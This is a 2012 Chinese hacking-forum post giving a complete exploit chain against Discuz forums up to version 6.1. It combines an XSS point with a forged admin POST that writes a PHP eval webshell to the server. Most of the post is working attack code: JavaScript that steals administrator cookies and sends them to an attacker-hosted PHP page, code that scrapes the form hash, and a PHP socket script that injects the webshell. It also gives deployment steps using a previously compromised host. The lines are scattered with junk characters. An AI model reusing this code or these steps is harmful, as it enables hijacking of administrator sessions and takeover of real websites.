中国网络渗透测试联盟

标题: Discuz XSS得webshell [打印本页]

作者: admin    时间: 2012-9-13 17:11
标题: Discuz XSS得webshell
Discuz XSS得webshell
0 p6 o# s0 D2 `! E# b5 j' Z: o! n3 dBy racle @tian6.com
2 b  s+ b  O" H" @( N+ C' z欢迎转帖.但请保留版权信息.
2 T3 c" `2 w, g+ }受影响版本iscuz<=6.1.0,gbk+utf+big5
6 _( R- F6 k& E4 u" n0 K4 Q. A% T9 C# B0 e: f; X* W
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.0 x5 e3 q6 V" J3 J- [& D

) q& I: v1 S: J4 _- t* S) ?" c" @* q3 Z+ a: r% G# p) \4 ]
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
2 S* Z0 z% ^; D. a当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
* l, b6 {# G: J9 p( \, x1 P1 J, ]0 h% {  T$ o, f8 x
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
4 w" \+ g, y( c7 L6 m本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS$ n' a( F' g6 |! ~" o1 Q

" L6 G# R( e# t3 h+ W) B+ V+ r2 `3 }# o! y) @# B2 d
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
9 s  p" k$ w8 ]! _5 E4 @9 f  o; ?2 t- H$ B* I9 v

( k' N" M" x' g2 m2 |9 zproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.& Q6 \! L( n/ Y
( u! N' N1 Y& \8 ?8 [1 c5 Y4 B
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.  l) v# E1 a) j9 N

6 T: m, G/ [' h3 cproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.9 I0 ~. w, h1 I% J3 i5 v' \# q

5 _" s" G' ^0 _6 o9 J! F+ Z
) Q1 k; m# o- n- T) {4 h& c3 F下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
  o# I8 f) m. \/ \9 D
4 V) `" P0 f( u! F+ C        global $runwizardfile, $runwizardhistory;
! y* Y8 p' i$ O& ]# K
0 |5 Q: H' H: Z* y7 ~        $fp = fopen($runwizardfile, 'w');
" O4 o, a6 \. N! N& H' p( b2 b: ^% h
, q* _* j2 j1 Q7 r- g        fwrite($fp, serialize($runwizardhistory));
8 t4 X. b5 {% X
) ^; @) z$ W4 S5 K        fclose($fp);0 g) z* w9 t! @* F- o
1 R( c+ i. `% Q/ M) L, ~1 T& Q
}
2 _, L! v# t# K$ r- X复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
0 w) q1 V! h& o$ [以下是修补的办法:function saverunwizardhistory() {+ w; K+ s( I9 k3 G; G
% |0 c/ K# L$ i: V
        global $runwizardfile, $runwizardhistory;4 H- O# I) G, w0 ^9 ^, l

) ?% X" S; {8 s) V7 l7 o$ i! i        $fp = fopen($runwizardfile, 'w');
9 f6 Z4 o# l# B( Y) n" P
' t7 @" ^7 e: U$ k# z, ~        $s = '<?php exit;?>';
/ I; O* n) P6 L' F- b8 l; n2 A% U4 \" F) V
        $s .= serialize($runwizardhistory);% j4 D4 P, R% l/ [6 j$ x
/ a$ k. t1 ]( d" n$ S4 S" t( V1 V
        fwrite($fp, $s);
9 a! P4 P' m$ ?3 E4 l
) ?/ N2 G; Z+ B0 s$ b1 B        fclose($fp);! U; {, z  L' V
7 [, V/ u: c9 [- G
}
. @1 l3 p/ J+ D. Y: E' w- p复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
. H8 H3 h: J  R) F0 E% h2 w1 y- ^" X& @* m; H' W$ z6 Y# v" g

- h% U' v& e9 m9 z* Y3 I. H) M, Y! ?; D( q* k
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------: f0 v, Q3 `. l$ n  g
; p# o8 z# Q: e9 u' w. Q5 P
8 v" D$ u" s: ]+ ?2 T
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.; t- s; t. n- V% G8 h

( p& v( Q# G* ^  T* s. V. H我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
/ {  q1 I2 ~0 R1 ?& t8 G2 ?2 K4 @% Y  ^( `( s+ P1 F% T( G
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
" W, y+ {( V+ [! ^. ]5 i  l6 c" }
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
0 m" n) G, R  N5 _  i
; h4 ]1 W3 ^) x+ q' P8 Rvar url="http://目标网站/admincp.php";      
1 W5 @* D3 q  J$ T+ k8 Y! [: X7 V1 C. |3 o6 Q
/*获得cookies*/) p4 a! n. ~$ N, k; h4 n; o" C' F
: _6 V+ N( g) j# t# @9 \
function getURL(s) {
/ J2 U* X# b; g' ?# b) q5 |4 Y- n" V* ^) F. K
var image = new Image();
. C7 _2 k% G. {2 {4 d0 G
3 K4 t& p6 S) M) R, ~image.style.width = 0;
# e- u9 D0 ]0 V# `
; A. Q3 z  x, f" q, o" eimage.style.height = 0;9 i5 Y; S# d' e7 a, p* H# _8 h, p

7 h% w/ T* g+ M5 ?image.src = s;
+ M% w+ X3 B1 B+ s* B
, i3 z  m, C$ A$ ^. Q}  e  w. H2 @3 l

% R( Z) n. p% Z; ggetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
8 |: W9 Q$ }' O复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];; p: |* A# T9 U
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ) ?* k- [% T; [# p2 G7 s3 b

% a2 L, a2 L! N9 r- B9 `/ p+ z& k- [- z% j
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
* n, ~2 `$ F! p  M' D5 b1 p# |2 v2 ?  p1 j7 `6 a
7 T+ c* n* }3 L' @4 ], V2 H
  y! ^: s3 e; z$ r; L& W2 [
/*hash*/
  \  ]9 d. D' {- Y  f
6 ?; e, v* ~% _) g- ovar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
( H8 g1 r- h3 _0 k4 c' Q1 l; K' a, V" `/ P  `
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
. F7 b1 \" H$ E
/ x. c' A' |7 {' {# y. MxmlHttpReq.send();+ `. u7 f4 Z  O$ Z
; `9 V: B! _. p0 W) O3 ?# L# c! H
var resource = xmlHttpReq.responseText;0 z3 Y& o2 a. a# i: V
9 N  [( l. n9 a! G* y2 j, m
var numero = resource.search(/formhash/);  p$ w- \6 b* s

4 Z& H) j! L7 F8 X) Dvar formhash=encodeURIComponent(resource.substr(numero+17,8));2 ?  ?5 j9 Q" O, l4 D1 Z: R
- A/ F; O) w; g9 g& l
* Q6 i- U8 L! h$ w* R  B
# P/ w) e2 I" g( u& g- b, w
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
% W- W) m! A$ l. \7 E! [
" T9 B1 ~& Y! ^( \6 L! dxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
! m  q$ n; r" o4 `/ p
! y8 h0 O  Z8 v7 mxmlHttpReq.setRequestHeader("Referer", url);6 G$ O/ F. v: {. }

1 K( x& U+ d+ Z5 B  n" F: ~xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
& i" I' H& M0 K4 e6 |" G' F2 L) {$ z
xmlHttpReq.setrequestheader("content-length",post.length);
: N7 E0 f3 o. e, j; L- P  n( o" P: j0 Y6 ]7 }* G2 h
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
# ?+ E* [; x" }4 }  n* j9 q% H7 j( [% p" I& [2 o& J: z/ z
xmlHttpReq.send(post);//发送数据
9 t$ O- C- ]) |4 a' c复制代码这里HASH我假设正确,这样提交,也无须cookies
: ~+ _/ B3 x8 M' g) U! M
* z; E2 G. D! F; s% K/ d* R再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);7 p% k6 I8 e3 D/ A( w& d

, @% A* U- I  T8 `if (!$sock) die("$errstr ($errno)\n");8 \9 M5 s6 X! l$ w

0 Z' W5 B3 S* q, O8 D5 D& l2 k# c5 v7 `$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
& L3 [+ i2 ]3 ~/ @% d" b2 r2 e3 c2 S
* N3 n' b. q3 K+ e! x: C6 e
9 u" k* v4 f8 _+ H- n1 ]; d4 y0 m4 L8 f$ z
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");1 y  ^: x: [0 N  t! O* Q, ^

+ l- d1 w6 a( J& N  Y0 r. jfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");3 O8 I  J! ^- J" t: @- I

- @' H# a8 `, y8 s% y% n" F& {fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
8 ]$ \; x% E% A8 n& Y5 R* T* j9 Y: O$ _7 h6 y
fwrite($sock, "Accept-Language: zh-cn\r\n");* n+ w+ T  w* d& }+ f7 |0 |

3 j2 Q/ Y/ ]0 t. h' o2 t! tfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
- n! Q3 E+ b9 ~3 R9 v, ?' M6 m
0 B1 ]) u# @0 Z7 wfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
6 k6 \9 Y( H& g$ q4 w) b- @5 F: F1 x" e
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
- f+ s0 o8 S7 W+ B6 l% z6 K( z. @! x
fwrite($sock, "Host: $url\r\n");
, {1 D/ ~" e$ s# X8 ?6 h7 a  m/ x& E5 [; z- {2 A" A3 Q
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
( B' ?/ u6 \& T9 f6 _4 U
. G, D5 ?- R! m1 D; `% G! sfwrite($sock, "Connection: Keep-Alive\r\n");8 w1 x1 T  O( U0 ~; Q9 W* S

% r7 R. H/ h# r% a5 x- ufwrite($sock, "Cache-Control: no-cache\r\n");" S. N; C) j; b
0 U! C4 H7 r5 d" T$ \: w7 _4 X$ C
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
" J: |: A, M. n* c: d0 s4 _4 g" e0 h* P& h" s" m0 d' _
fwrite($sock, $data);
$ M: U  f* g$ ]
0 p/ P1 r  i- G- @5 `; ?( v
6 v( [8 y& ?% T  o4 H" m/ k: b9 E) R) \
$headers = "";( a9 V9 w9 m. c$ u# x1 r  I
) B- m3 n9 e2 X, ]# A
while ($str = trim(fgets($sock, 4096)))# j2 }2 j! g' r% ~# X

$ T9 n0 c( s" d$ G( u/ u* k     $headers .= "$str\n";
4 g" N2 E* l* F  c
% e5 i2 u2 b7 |. [1 oecho "\n";
- G, c/ K/ Z: ^& ]
# p) G" Y# b  E* w$body = "";+ B6 V/ {* x; \9 L5 w
, @6 X8 H( O1 r. V
while (!feof($sock))
2 J- w9 B: A% W! g2 H& T/ D$ n6 e4 J5 N) `. B* H4 p4 }
     $body .= fgets($sock, 4096);, a# s, ]  w/ I, h5 u+ M0 a

  P, X& R5 R" F5 h% @fclose($sock);
. X2 h$ A1 R* L( [" \( w# X( r' @, a' l- y. o% @8 ^
echo $body;
* u8 u6 h' h0 H) ~: Z8 K复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^; w, `5 J: q- O' E. k! m
- L$ Z8 b3 C. {1 n& K9 w" z

" `: \; r( w7 y5 B-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
8 E7 z: o" _% [/ v
$ [: A1 k8 p5 l* Y( H- i9 B" H% v, C  R2 {% t
1HP SOCKET利用方法首先打开racle.js
( L. [& m- f, s" ~, A* P0 \. a( b0 p
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
1 K- T5 g5 y, b5 j$ @3 N6 N/ `) y  t9 g
2 z* b- ?$ y& ~4 w9 M+ X. Y
7 M' e2 C4 Q/ y4 s. _0 P8 E/ m
然后打开racle@tian6.php
, b2 b; f& s& F" J* V1 s6 [
, i0 ], \, _& L3 L8 W5 W, w$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
( L$ B/ m6 J. P  K' {3 P
, g. h7 W8 f$ o, }  C0 G( E3 h: i& R
* s" d8 I( p+ l- v7 F# ~3 w1 ?! q0 T) e' U) V/ q
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
* ?! b+ Z* V7 q/ ~8 c1 q3 z5 Y* S7 N# \/ D
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));) u0 }2 }# ^) P

5 q" m9 I, M, i
2 i8 F8 s* w( ^# s$ x2 `1 ]
! S- i9 a( w* S2 O  ~getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));$ @8 n' W4 s( J' s* L
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
! T% ^+ z* {; E
: \" [: k* u- U1 o4 C, _& M: I' w* m6 w' a
9 l) U9 Q- K4 U3 s& Z
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:6 r* c$ V& u$ ]( X9 l) y5 s* v. I
2 |# J3 ^% ~. C' u# d, m# H+ O8 K' n
var formhash=encodeURIComponent(resource.substr(numero+17,8));
4 ^/ H( r0 `( d  p* ?* _2 w
% t) I" P) E( r+ O8 ]+ M4 Y& n+ L2 t5 H- Q6 D7 d- X
3 V8 R) V9 s! I% m
var formhash=encodeURIComponent(resource.substr(numero+9,8));
! [  t6 z7 A: J' j复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.1 S- v0 Y- p* I: M- @

! q* `( x. o/ R1 q如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
5 x9 Z  l4 I1 Z: s6 V- N4 f" `) `; O! f/ H% U0 X( m. x1 i7 n
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.' f2 j2 s+ r8 b0 J3 m2 y! g

% Y( z" g1 i  W1 a不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.9 N+ i1 A# e3 z% Z6 j8 X; m; [

$ O4 y0 _8 V2 P# x




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2